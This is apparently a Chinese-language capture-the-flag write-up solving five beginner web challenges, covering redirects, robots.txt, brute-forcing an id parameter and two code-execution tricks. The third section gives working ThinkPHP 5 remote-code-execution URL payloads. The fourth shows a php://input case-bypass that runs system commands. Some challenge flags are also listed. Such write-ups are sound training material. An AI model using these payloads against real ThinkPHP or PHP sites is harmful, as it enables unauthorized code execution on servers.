1.baby_web
找初始页面
一般的,初始页面是index.php,就在地址栏进入,但发现还是会回调到1.php这个页面,那么接在在开发者工具打开network查看index.php的情况。
得到响应头里的flag ,结束。
补充一点知识
302状态码:302 表示临时性重定向。访问一个Url时,被重定向到另一个url上。常用于页面跳转。
在响应头中加入Location参数。浏览器接受到带有location头的响应时,就会跳转到相应的地址。
如下方的,location跳转地址是1.php.
2.Training-WWW-Robots
看题目的意思是让我们认识一下robots.txt,之前有在新手题做过它的介绍,就不多讲了,直接在地址栏访问robots.txt
不被允许的有一个fl0g.php页面,尝试访问它
轻松得到flag,结束
3.php_rce
了解一下thinkphp5 rce漏洞
该漏洞是由于框架对控制器名没有进行敏感字符检测,导致在没有开启强制路由的情况下可能导致远程代码执行。主要影响的版本为5.0.23和5.1.31之前的所有版本。
payload:
5.0.x版本
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("ls");%27
再找flag
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("find / -name 'flag'");%27
查看flag
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat ../../../flag");%27
4.Web_php_include
①strstr(str1,str2)函数:用来判断 str2是否是str1的子串,若是则返回str2在str1中首次出现的地址,若不是返回NULL。
比如:
char str2 = “cdef”;
char str1 = “abcdefgh”;
则通过函数,将返回
strstr(str1,str2) = cdefgh;
如果str1不包含有str2。
char str2 = “cxef”;
char str1 = “abcdefgh”;
则通过函数,将返回
strstr(str1,str2) = NULL;
②str_replace("php://", "", $page);
将$page
里的php://替换成"",说明php://会被替换为空,因为这个函数区分大小写,可以大小写绕过,如写成PHP://input
php://input简单介绍:
作为PHP输入流,只读取Content-Type不为multipart/form-data的数据
可以用burpsuit,显示包含的所有文件 <?php system("ls");?>
看到响应这边有fl4gisisish3r3.php index.php phpinfo.php
试一下第一个 <?php system("cat fl4gisisish3r3.php");?>
然后就得到了flag=ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
5.isc-06
看到这里报表可以点 ,看到/index.php?id=1,遍历id,用burpsuit字典爆破,上传字典后,start attack, 开始爆破
这里2333显示不一样,id=2333试一下
得到flag=cyberpeace{9c319fd203b181c0775c57d01c657d1e}